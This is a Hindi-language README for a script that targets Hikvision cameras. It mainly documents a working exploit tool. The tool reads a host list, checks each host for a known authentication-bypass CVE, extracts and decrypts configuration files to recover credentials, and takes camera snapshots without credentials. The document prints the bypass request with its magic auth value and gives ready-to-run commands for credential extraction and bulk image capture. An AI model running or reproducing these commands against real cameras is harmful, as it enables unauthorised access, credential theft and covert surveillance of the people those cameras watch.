
HikVision Auth Bypass CVE, यह उपकरण क्रेडेंशियल्स निकालने तथा मैजिक कुकी या प्रदान किए गए क्रेडेंशियल्स के आधार पर स्नैपशॉट लेने में सक्षम है।
एक स्टैंडअलोन टूल जो एक फ़ाइल से Hikvision कैमरों को सूचीबद्ध करता है और मान्य क्रेडेंशियल (HTTP Basic या Digest auth) या CVE auth bypass का उपयोग करके प्रत्येक से स्नैपशॉट लेता है। परीक्षण के लिए किसी अन्य होस्ट पर चलाने का इरादा है।
host या host:port)।--save-snapshot।--exploit)।--merge। निर्भरताएँ: requests, Pillow (--merge के लिए)।requestspip install -r requirements.txt
एक टेक्स्ट फ़ाइल बनाएँ जिसमें प्रति पंक्ति एक कैमरा हो। # से शुरू होने वाली टिप्पणियाँ अनदेखा की जाती हैं।
# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
फ़ाइल से पढ़े गए कैमरों को प्रिंट करें (कोई क्रेडेंशियल आवश्यक नहीं)।
python hikvision_snapshots.py cameras.txt list
वैकल्पिक पहुँच जाँच (प्रत्येक होस्ट पर HTTP GET):
python hikvision_snapshots.py cameras.txt list -v
प्रत्येक कैमरे पर Hikvision snapshot auth-bypass CVE की जाँच करें। कोई क्रेडेंशियल आवश्यक नहीं।
python hikvision_snapshots.py cameras.txt check
केवल कमजोर कैमरों के लिए स्नैपशॉट सहेजें:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
विकल्प: --timeout, --workers, -o (--save-snapshot के लिए)।
प्रत्येक कैमरे से CVE के माध्यम से क्रेडेंशियल निकालें (magic auth से उपयोगकर्ता सूची और config फ़ाइल प्राप्त करें, फिर config डिक्रिप्ट करें)। होस्ट पर OpenSSL आवश्यक है। चलाने के लिए कोई क्रेडेंशियल आवश्यक नहीं।
python hikvision_snapshots.py cameras.txt credentials
विकल्प: --timeout, --workers।
सत्यापित करें कि आपके क्रेडेंशियल प्रत्येक कैमरे पर काम करते हैं (समान snapshot endpoints का उपयोग करता है; छवियाँ सहेजता नहीं)।
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
विकल्प: --timeout, --workers, --digest (snapshot के समान)।
प्रति कैमरा एक स्नैपशॉट लें और JPEG के रूप में सहेजें। या तो मान्य क्रेडेंशियल या --exploit (CVE auth bypass, कोई क्रेडेंशियल नहीं) का उपयोग करें।
# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ के अंतर्गत सहेजे जाते हैं (बदलने के लिए -o उपयोग करें)।host या host_port से लिए जाते हैं (जैसे 192_168_1_100.jpg, nvr_local_8080.jpg)।विकल्प:
--merge के साथ, प्रत्येक स्नैपशॉट सहेजने के बाद टूल आउटपुट निर्देशिका में प्रति कैमरा एक सेल और एक लेबल के साथ एक एकल ग्रिड छवि (overview.jpg) बनाता है। इसके लिए Pillow की आवश्यकता है (pip install Pillow)।
कस्टम आउटपुट और Digest auth के साथ उदाहरण:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
मर्ज की गई overview छवि के साथ उदाहरण:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# or with exploit (no creds):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
प्रमाणित स्नैपशॉट (क्रेडेंशियल के साथ): स्क्रिप्ट क्रम से प्रयास करती है – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot।
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (magic auth bypass, कोई क्रेडेंशियल नहीं)।
hikvision_snapshots.py, requirements.txt और अपनी कैमरा सूची फ़ाइल होस्ट पर कॉपी करें।pip install -r requirements.txtlist चलाएँ; CVE के लिए check, क्रेडेंशियल के लिए auth-check, या snapshot (-u/-p या --exploit के साथ) उपयोग करें।सुनिश्चित करें कि होस्ट के पास सभी कैमरा IP और पोर्ट तक नेटवर्क पहुँच है।
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
-u, --username | कैमरा उपयोगकर्ता नाम | --exploit के अलावा अनिवार्य |
-p, --password | कैमरा पासवर्ड | --exploit के अलावा अनिवार्य |
--exploit | CVE magic auth bypass उपयोग करें (कोई क्रेडेंशियल नहीं) | बंद |
-o, --output-dir | स्नैपशॉट छवियों के लिए निर्देशिका | snapshots |
--timeout | HTTP timeout सेकंड में | 15 |
--workers | समवर्ती स्नैपशॉट अनुरोधों की संख्या | 10 |
--digest | Basic के बजाय HTTP Digest auth उपयोग करें | बंद |
--merge | सभी स्नैपशॉट को एक overview छवि में मर्ज करें | बंद |
--merge-columns | मर्ज के लिए ग्रिड कॉलम (डिफ़ॉल्ट: auto) | auto |